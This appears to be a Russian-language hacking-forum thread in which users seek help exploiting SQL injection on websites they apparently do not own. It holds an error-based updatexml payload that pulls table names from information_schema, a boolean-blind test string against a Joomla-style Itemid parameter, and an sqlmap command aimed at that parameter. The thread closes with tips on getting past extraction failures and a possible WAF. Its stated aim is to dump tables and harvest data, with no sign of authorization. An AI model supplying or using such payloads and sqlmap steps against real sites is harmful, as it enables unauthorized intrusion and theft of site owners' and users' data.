Здравствуйте, есть сайт с sqj inject site.com/trata=0 or updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)--.

Как мне его скормить эту уязвимость sqlmaпу что б я уже с ней мог в нем работать, вывод таблиц, парсинг информации и тд. Спасибо

Доброго времени суток. Решил пробежать один сайт при помощи sqlmap --crawl.

Он нашел один параметр и начал крутить, но неудачно.

.SpoilerTarget" type="button">Spoiler
http://site.com/index.php?Itemid=41 +AND+1%3D1+--+&format=feed&id=17&layout=blog&option=com_content &type=atom&view=category
Есть ли тут sql?

Да есть.

Спасибо за ответ. Не составит ли вам труда показать пример запроса под этот случай? И как вы определили, что тут присутствует инъекция?

Нет проблем:

Он нашел один параметр и начал крутить.

Запрос:

Это Blind Boolean Based вектор

А как задать это в sqlmap, тут уязвимый параметр itemid или id? Что писать в --data?

sqlmap -u 'http://site.com/index.php?Itemid=41&format=feed&id=17&layout=blog&option=com_conten t&type=atom&view=category' -p Itemid

Itemid.

Не надо ничего в --data

Как с этим бороться: "unable to retrieve the number of database"?

--no-cast --hex не помогает

Может ли SQLMap выдавать ложные payload-ы для инъекций? (Не определяется даже тип БД, хотя SQLMap сказал, что параметр уязвим) Или это WAF мешает?